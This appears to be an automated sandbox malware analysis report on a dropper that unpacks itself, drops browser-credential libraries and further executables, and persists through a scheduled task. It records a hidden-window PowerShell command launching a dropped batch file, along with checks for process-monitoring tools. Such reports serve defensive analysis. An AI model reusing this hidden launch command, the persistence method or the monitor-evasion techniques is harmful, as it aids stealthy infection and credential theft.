Source:	Binary string: System.ni.pdbRSDS source: WERA4B9.tmp.dmp.24.dr
Source:	Binary string: mscorlib.ni.pdb source: WERA4B9.tmp.dmp.24.dr
Source:	Binary string: Brought.pdb source: WERA4B9.tmp.dmp.24.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.7.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.7.dr
Source:	Binary string: C:\Users\users\source\repos\Brought\Brought\obj\Release\Brought.pdb source: Yg1HwMX.exe, 00000014.00000000.2938937578.00000000006B2000.00000002.00000001.01000000.00000012.sdmp, Yg1HwMX.exe, 00000014.00000002.3013505896.0000000003969000.00000004.00000800.00020000.00000000.sdmp, Yg1HwMX[1].exe.12.dr, Yg1HwMX.exe.12.dr
Source:	Binary string: System.Windows.Forms.pdb;( source: WERA4B9.tmp.dmp.24.dr
Source:	Binary string: nss3.pdb source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2579407264.000000006C5CF000.00000002.00000001.01000000.0000000D.sdmp, nss3[1].dll.7.dr, nss3.dll.7.dr
Source:	Binary string: mscorlib.ni.pdbRSDS source: WERA4B9.tmp.dmp.24.dr
Source:	Binary string: mozglue.pdb source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2579882796.000000006CDFD000.00000002.00000001.01000000.0000000E.sdmp, mozglue.dll.7.dr, mozglue[1].dll.7.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.7.dr
Source:	Binary string: System.ni.pdb source: WERA4B9.tmp.dmp.24.dr
Source:	Binary string: System.pdb source: WERA4B9.tmp.dmp.24.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Unpacked PE file: 0.2.Anv6Gbh51e.exe.360000.0.unpack :EW;.rsrc:W;.idata :W;zjhdmfah:EW;hfdmpwzr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;zjhdmfah:EW;hfdmpwzr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Unpacked PE file: 7.2.XK9L90SC7AOEFMV7ZL8Q53257L.exe.9e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;bxjzjhpy:EW;tczfxcqn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;bxjzjhpy:EW;tczfxcqn:EW;.taggant:EW;

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "Start-Process -FilePath 'C:\Users\user\AppData\Roaming\nahprot.bat' -ArgumentList 'gOsYxjsoymkBmrzpQYy' -WindowStyle Hidden"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "Start-Process -FilePath 'C:\Users\user\AppData\Roaming\nahprot.bat' -ArgumentList 'gOsYxjsoymkBmrzpQYy' -WindowStyle Hidden"

Source: Yg1HwMX[1].exe.12.dr

Static PE information: 0xE58C227B [Mon Jan 14 16:25:31 2092 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: rapes.exe.4.dr	Static PE information: real checksum: 0x0 should be: 0x74722
Source: NKJ797NQF61QBFM5Y63P3Y.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x74722
Source: Yg1HwMX[1].exe.12.dr	Static PE information: real checksum: 0x0 should be: 0x58e70
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe.0.dr	Static PE information: real checksum: 0x1b710d should be: 0x1bc72b
Source: Anv6Gbh51e.exe	Static PE information: real checksum: 0x30abca should be: 0x2ff541
Source: Yg1HwMX.exe.12.dr	Static PE information: real checksum: 0x0 should be: 0x58e70

Source: Anv6Gbh51e.exe	Static PE information: section name:
Source: Anv6Gbh51e.exe	Static PE information: section name: .idata
Source: Anv6Gbh51e.exe	Static PE information: section name: zjhdmfah
Source: Anv6Gbh51e.exe	Static PE information: section name: hfdmpwzr
Source: Anv6Gbh51e.exe	Static PE information: section name: .taggant
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe.0.dr	Static PE information: section name:
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe.0.dr	Static PE information: section name: .idata
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe.0.dr	Static PE information: section name:
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe.0.dr	Static PE information: section name: bxjzjhpy
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe.0.dr	Static PE information: section name: tczfxcqn
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe.0.dr	Static PE information: section name: .taggant
Source: freebl3.dll.7.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.7.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.7.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.7.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.7.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.7.dr	Static PE information: section name: .didat
Source: nss3.dll.7.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.7.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.7.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.7.dr	Static PE information: section name: .00cfg
Source: Yg1HwMX[1].exe.12.dr	Static PE information: section name: .css
Source: Yg1HwMX.exe.12.dr	Static PE information: section name: .css

Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D7FAC8 push edi; iretd	0_3_00D7FAE2
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D7FAC8 push edi; iretd	0_3_00D7FAE2
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D7FA98 push edi; iretd	0_3_00D7FAB6
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D7FA98 push edi; iretd	0_3_00D7FAB6
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D7FD98 push edi; iretd	0_3_00D7FDB2
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D7FD98 push edi; iretd	0_3_00D7FDB2
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D7FD89 push edi; iretd	0_3_00D7FD92
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D7FD89 push edi; iretd	0_3_00D7FD92
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D7FAB9 push edi; iretd	0_3_00D7FAC2
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D7FAB9 push edi; iretd	0_3_00D7FAC2
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D7FBB8 push edi; iretd	0_3_00D7FBD2
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D7FBB8 push edi; iretd	0_3_00D7FBD2
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D7FBA8 push edi; iretd	0_3_00D7FBB2
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D7FBA8 push edi; iretd	0_3_00D7FBB2
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D7B053 pushad ; retf	0_3_00D7B054
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D7B053 pushad ; retf	0_3_00D7B054
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D7FC48 push edi; iretd	0_3_00D7FC52
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D7FC48 push edi; iretd	0_3_00D7FC52
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D7FA78 push edi; iretd	0_3_00D7FA92
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D7FA78 push edi; iretd	0_3_00D7FA92
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D7FC64 push edi; iretd	0_3_00D7FC72
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D7FC64 push edi; iretd	0_3_00D7FC72
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D7FA68 push edi; iretd	0_3_00D7FA72
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D7FA68 push edi; iretd	0_3_00D7FA72
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D7F928 push edi; iretd	0_3_00D7F932
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D7F928 push edi; iretd	0_3_00D7F932
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D0D3DB push ebp; iretd	0_3_00D0D386
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D0D3DB push ebp; iretd	0_3_00D0D386
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D153CC push es; retf	0_3_00D153A2
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D153CC push es; retf	0_3_00D153A2
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D0D387 push ebp; iretd	0_3_00D0D386

Source: Anv6Gbh51e.exe	Static PE information: section name: entropy: 7.124338289372751
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe.0.dr	Static PE information: section name: bxjzjhpy entropy: 7.95514134375275

Source: 0iMSdYX[1].exe.12.dr, PoXllSp52DYI9c7vxIQkeFeaSzj2FV3gL3ozQN4hW9msdxMi4vtfk7DpTNzC9cPDH8S6yVNzPdDUBt3U.cs	High entropy of concatenated method names: 'bzEc2pO9WjgXPN6ddkp43izZlci3zkLleKRbeMrmgFHRHPCGjxF8OjIK84vCtGMXsIOjiCAqZ7438gyq', 'm1Gblg532I4Tm71V0cz8Sa6jXcskT6WFd80PAKzOoea5ZIjAeb0mlp7Jl51om58sx86nIw3PpwLnKNfU', '_3XWRhNjcJCZq707mC9IMHPcBfGy8zUVtR9jZ5S1U6R8sM5xYGHVQ1542GegNmTCyRvjkGl4DHwcg9TA1', 'CPxrLPyD60OJVqggqTXum2sAz2cvHsOuxIBuHLepK19oipmq5lZJpgbXIRc3KTXwql4hDBePhakD2ojg', '_1ePhfwr0ATuSmcKvCQQGXbINpVsNd5ZdhCI479HQA94cxM7O6FWREX2llE5xd1Di0TOTAkur7MMzMs0X', '_2ujJdvrHtHneIRio3L4EQhZoDu1NVYx1FJZqlMqQcG6nWs4A2Y3GyCs5C26UoPJId', 'KFcgdfh3naQsudQ08wjMT3hK28oMt2Aof7XIQyD95Y40Pkd95lNzubG76SlBXzyrs', 'MkWT6bswgDyykcgeCMmVqtvwtDAgTQ4eUAG98Y2NyTpiUYRU1nOrUPfUhZQKPpPQH', 'AwusUQWeKQAhHyCD2tOpkyHeDFj1F3q6SIAg85JcGVLuNBeWPkYHGKeoZk2EvUijp', 'bAziUCnc0ng9odYF5qEuRmgG3h4VExfHPEKGU8HDDwI6JyKghuxHHdaU7Loimy3CG'
Source: 0iMSdYX[1].exe.12.dr, Z56GXqi9wywJKgR8vwVR1mbawxFkjcdJAoUQfkGEpunAl6Q5Eea8GJgwQyI5XXmqgJoTbqcY4ZkSXsfi.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'EkMxTejO8cLQZRc9mudDMW4pZuTX4xYLnqaxNkb9g5xFlnNZWMRj34EGkAeuEBEsx', 'BmxS823YcHvPDr7hy9nsGUOYADWg90hiyswR1R3aRR5ot5xfczfw05UUaaJYooUyB', 'qYy4rNqjmqxCdU4A1vAF8SIH1W0VgTAQ6o40jqOqIZqYceOgfHztOAYaTNtNbDW0q', 'ojjUR6nsRbjJ6k3hGK1VktmFvdkIptPFcnub7Jl76q3vdWo1klWelBjEhDKe1CMva'
Source: 0iMSdYX.exe.12.dr, PoXllSp52DYI9c7vxIQkeFeaSzj2FV3gL3ozQN4hW9msdxMi4vtfk7DpTNzC9cPDH8S6yVNzPdDUBt3U.cs	High entropy of concatenated method names: 'bzEc2pO9WjgXPN6ddkp43izZlci3zkLleKRbeMrmgFHRHPCGjxF8OjIK84vCtGMXsIOjiCAqZ7438gyq', 'm1Gblg532I4Tm71V0cz8Sa6jXcskT6WFd80PAKzOoea5ZIjAeb0mlp7Jl51om58sx86nIw3PpwLnKNfU', '_3XWRhNjcJCZq707mC9IMHPcBfGy8zUVtR9jZ5S1U6R8sM5xYGHVQ1542GegNmTCyRvjkGl4DHwcg9TA1', 'CPxrLPyD60OJVqggqTXum2sAz2cvHsOuxIBuHLepK19oipmq5lZJpgbXIRc3KTXwql4hDBePhakD2ojg', '_1ePhfwr0ATuSmcKvCQQGXbINpVsNd5ZdhCI479HQA94cxM7O6FWREX2llE5xd1Di0TOTAkur7MMzMs0X', '_2ujJdvrHtHneIRio3L4EQhZoDu1NVYx1FJZqlMqQcG6nWs4A2Y3GyCs5C26UoPJId', 'KFcgdfh3naQsudQ08wjMT3hK28oMt2Aof7XIQyD95Y40Pkd95lNzubG76SlBXzyrs', 'MkWT6bswgDyykcgeCMmVqtvwtDAgTQ4eUAG98Y2NyTpiUYRU1nOrUPfUhZQKPpPQH', 'AwusUQWeKQAhHyCD2tOpkyHeDFj1F3q6SIAg85JcGVLuNBeWPkYHGKeoZk2EvUijp', 'bAziUCnc0ng9odYF5qEuRmgG3h4VExfHPEKGU8HDDwI6JyKghuxHHdaU7Loimy3CG'
Source: 0iMSdYX.exe.12.dr, Z56GXqi9wywJKgR8vwVR1mbawxFkjcdJAoUQfkGEpunAl6Q5Eea8GJgwQyI5XXmqgJoTbqcY4ZkSXsfi.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'EkMxTejO8cLQZRc9mudDMW4pZuTX4xYLnqaxNkb9g5xFlnNZWMRj34EGkAeuEBEsx', 'BmxS823YcHvPDr7hy9nsGUOYADWg90hiyswR1R3aRR5ot5xfczfw05UUaaJYooUyB', 'qYy4rNqjmqxCdU4A1vAF8SIH1W0VgTAQ6o40jqOqIZqYceOgfHztOAYaTNtNbDW0q', 'ojjUR6nsRbjJ6k3hGK1VktmFvdkIptPFcnub7Jl76q3vdWo1klWelBjEhDKe1CMva'

Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	File created: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\Yg1HwMX[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	File created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\0iMSdYX[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	File created: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\RHPLumH[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Temp\10010480101\RHPLumH.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe

File created: C:\Windows\Tasks\rapes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe

Code function: 5_2_00E890ED GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

5_2_00E890ED

Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
